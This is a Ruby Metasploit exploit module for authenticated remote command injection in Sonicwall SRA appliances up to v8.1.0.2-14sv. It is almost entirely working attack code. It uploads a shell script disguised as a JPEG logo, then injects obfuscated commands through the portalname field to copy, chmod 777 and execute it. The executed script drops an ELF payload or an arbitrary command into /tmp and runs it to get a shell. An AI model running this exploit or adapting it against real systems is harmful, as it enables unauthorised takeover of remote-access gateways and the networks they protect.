Sonicwall importlogo/sitecustomization Remote Command Injection

`# Exploit Title: Sonicwall importlogo/sitecustomization CGI Remote Command Injection Vulnerablity   
# Date: 12/25/2016  
# Exploit Author: xort @ Critical Start  
# Vendor Homepage: www.sonicwall.com  
# Software Link: sonicwall.com/products/sra-virtual-appliance  
# Version: 8.1.0.2-14sv  
# Tested on: 8.1.0.2-14sv  
#   
# CVE : (awaiting cve)  
  
# vuln1: importlogo.cgi / logo1 parameter (any contents can be uploaded)   
# vuln2: sitecustomization.cgi / portalname (filename) parameter   
  
# Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug.   
#  
# xort @ Critical Start  
  
  
  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sonicwall SRA <= v8.1.0.2-14sv remote exploit',  
'Description' => %q{  
This module exploits a remote command execution vulnerability in  
the Sonicwall SRA Appliance Version <= v8.1.0.2-14sv. The vulnerability exist in  
a section of the machine's adminstrative infertface for performing configurations   
related to on-connect scripts to be launched for users's connecting.   
},  
'Author' =>  
[  
'xort@Critical Start', # vuln + metasploit module  
],  
'Version' => '$Revision: 1 $',  
'References' =>  
[  
[ 'none', 'none'],  
],  
'Platform' => [ 'linux'],  
'Privileged' => true,  
'Arch' => [ ARCH_X86 ],  
'SessionTypes' => [ 'shell' ],  
'Privileged' => false,  
  
'Payload' =>  
{   
'Compat' =>  
{  
'ConnectionType' => 'find',  
}  
},  
  
'Targets' =>  
[  
['Linux Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
],  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('PASSWORD', [ false, 'Device password', "" ]),   
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),   
OptString.new('CMD', [ false, 'Command to execute', "" ]),   
Opt::RPORT(443),  
], self.class)  
end  
  
def do_login(username, password_clear)  
vprint_status( "Logging into machine with credentials...\n" )  
  
# vars  
timeout = 1550;  
  
# send request   
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => "/cgi-bin/userLogin",  
'headers' => {  
'Connection' => 'close',  
'Content-Type' => 'application/x-www-form-urlencoded',  
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0',  
},  
'vars_post' => {  
'username' => username,  
'password' => password_clear,  
'domain' => 'LocalDomain',  
'loginButton' => 'Login',  
'state' => 'login',  
'login' => 'true',  
'VerifyCert' => '0',  
'portalname' => 'VirtualOffice',  
'ajax' => 'true'  
},  
}, timeout)  
  
swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0]  
  
return swap  
end  
  
def upload_payload(swap_cookie, file_data)  
vprint_status( "Upload Payload..." )  
  
# vars  
timeout = 1550;  
  
upload_req = [  
[ "portalName","VirtualOffice" ],  
[ "defaultLogo","0" ],  
[ "uiVersion","2" ],  
[ "bannerBackground", "light" ]  
]  
  
boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)  
post_data = ""  
  
# assemble upload_req parms  
upload_req.each do |xreq|  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"  
post_data << "#{xreq[1]}\r\n"  
end  
  
# add malicious file  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"logo1\"; filename=\"x.jpg\"\r\n"  
post_data << "Content-Type: image/jpeg\r\n\r\n"  
post_data << "#{file_data}\r\n"  
  
post_data << "--#{boundary}--\r\n"  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/cgi-bin/importlogo?uploadId=1",  
'ctype' => "multipart/form-data; boundary=#{boundary}",  
'data' => post_data,  
'headers' =>  
{  
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",  
'Cookie' => 'swap='+swap_cookie+';',  
}  
}, timeout)  
  
  
end  
  
  
def run_command(swap_cookie, cmd)  
  
vprint_status( "Running Command...\n" )  
  
# vars  
timeout = 1550;  
  
vprint_status("creating filename on target: #{cmd}\n")  
  
upload_req = [  
[ "portalname", cmd ],  
[ "portaltitle","Virtual Office" ],  
[ "bannertitle","Virtual Office" ],  
[ "bannermessage","<h1>Dell Sonicwall</h1>" ],  
[ "portalUrl","https://192.168.84.155/portal/xxx" ],  
[ "loginflag","on" ],  
[ "bannerflag","on" ],  
[ "httpOnlyCookieFlag","on" ],  
[ "cachecontrol","on" ],  
[ "uniqueness", "on" ],  
[ "duplicateLoginAction", "1" ],  
[ "livetilesmalllogo", "" ],  
[ "livetilemediumlogo", "" ],  
[ "livetilewidelogo", "" ],  
[ "livetilelargelogo", "" ],  
[ "livetilebackground", "#0085C3" ],  
[ "livetilename", "" ],  
[ "home2page", "on" ],  
[ "allowNetExtender", "on" ],  
[ "virtualpassagepage", "on" ],  
[ "cifsdirectpage", "on" ],  
[ "cifspage", "on" ],  
[ "cifsappletpage", "on" ],  
[ "cifsapplet", "on" ],  
[ "cifsdefaultfilesharepath", "" ],  
[ "home3page", "on" ],  
[ "showAllBookmarksTab", "on" ],  
[ "showDefaultTabs", "on" ],  
[ "showCopyright", "on" ],  
[ "showSidebar", "on" ],  
[ "showUserPortalHelpButton", "on" ],  
[ "userPortalHelpURL", "" ],  
[ "showUserPortalOptionsButton", "on" ],  
[ "homemessage", "<h1>Welcome to the Dell SonicWALL Virtual Office</h1>" ],  
[ "hptabletitle", "Virtual Office Bookmarks" ],  
[ "vhostName", "www.#{Rex::Text.rand_text_hex(32)}.com" ],  
[ "vhostAlias", "" ],  
[ "vhostInterface", "ALL" ],  
[ "vhostEnableKeepAlive", "on" ],  
[ "cdssodn", ".yahoo.com" ],  
[ "enableSSLForwardSecrecy", "0" ],  
[ "enableSSLProxyVerify", "0" ],  
[ "sslProxyProtocol", "0" ],  
[ "loginSchedule", "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" ],  
[ "formsection", "main" ],  
[ "doAdd", "1" ],  
[ "cgiaction", "1" ],  
[ "themename", "stylesonicwall" ],  
[ "onlinehelp", "" ],  
[ "tmp_currentVhostName", "" ],  
[ "tmp_currentVhostAlias", "" ],  
[ "tmp_currentVhostInterface", "ALL" ],  
[ "tmp_currentVhostIp", "" ],  
[ "tmp_currentVhostIPv6", "" ],  
[ "tmp_currentVhostEnableHTTP", "0" ],  
[ "tmp_currentVhostEnableKeepAlive", "1" ],  
[ "tmp_currentVhostCert", "" ],  
[ "tmp_currEnforceSSLProxyProtocol", "0" ],  
[ "tmp_currSSLProxyProtocol", "0" ],  
[ "tmp_currEnableSSLProxyVerify", "0" ],  
[ "tmp_currEnableSSLForwardSecrecy", "0" ],  
[ "tmp_currentVhostOffloadRewrite", "" ],  
[ "restartWS", "1" ],  
[ "reuseFavicon", "" ],  
[ "oldReuseFavicon", "" ],  
]  
  
boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)  
post_data = ""  
  
# assemble upload_req parms  
upload_req.each do |xreq|  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"  
post_data << "#{xreq[1]}\r\n"  
end  
  
post_data << "--#{boundary}--\r\n"  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/cgi-bin/sitecustomization",  
'ctype' => "multipart/form-data; boundary=#{boundary}",  
'data' => post_data,  
'headers' =>  
{  
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",  
'Cookie' => 'swap='+swap_cookie+';',  
}  
}, timeout)  
end  
  
def run_command_file(swap_cookie)  
  
# use prefix so exploit can be re-used (unique portalname requirment)  
prefix = Rex::Text.rand_text_numeric(5)  
  
run_command(swap_cookie, "#{prefix}$({find,$({perl,-e,'print(chr(0x2f))'}),-name,VirtualOffice.gif,-exec,cp,{},qz,$({perl,-e,'print(chr(0x3b))'})})")  
run_command(swap_cookie, "#{prefix}$({chmod,777,qz})")  
run_command(swap_cookie, "#{prefix}$({sh,-c,.$({perl,-e,'print(chr(0x2f))'})qz})")  
  
end  
  
def exploit  
# timeout  
timeout = 1550;  
  
# params  
password_clear = datastore['PASSWORD']  
user = datastore['USERNAME']  
  
# do authentication   
swap_cookie = do_login(user, password_clear)  
  
vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n")  
  
# pause to let things run smoothly  
#sleep(5)  
  
#if no 'CMD' string - add code for root shell  
if not datastore['CMD'].nil? and not datastore['CMD'].empty?  
  
cmd = datastore['CMD']  
  
# Encode cmd payload  
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')  
  
# kill stale calls to bdump from previous exploit calls for re-use  
upload_payload(swap_cookie, ("sudo /bin/rm -f /tmp/n; printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n; /tmp/n" ))  
else  
# Encode payload to ELF file for deployment  
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)  
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')  
  
# upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)  
upload_payload(swap_cookie, ("#!/bin/bash\necho -e \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m; /tmp/m"))  
run_command_file(swap_cookie)  
  
# wait for magic  
handler  
  
end  
  
  
end  
end  
`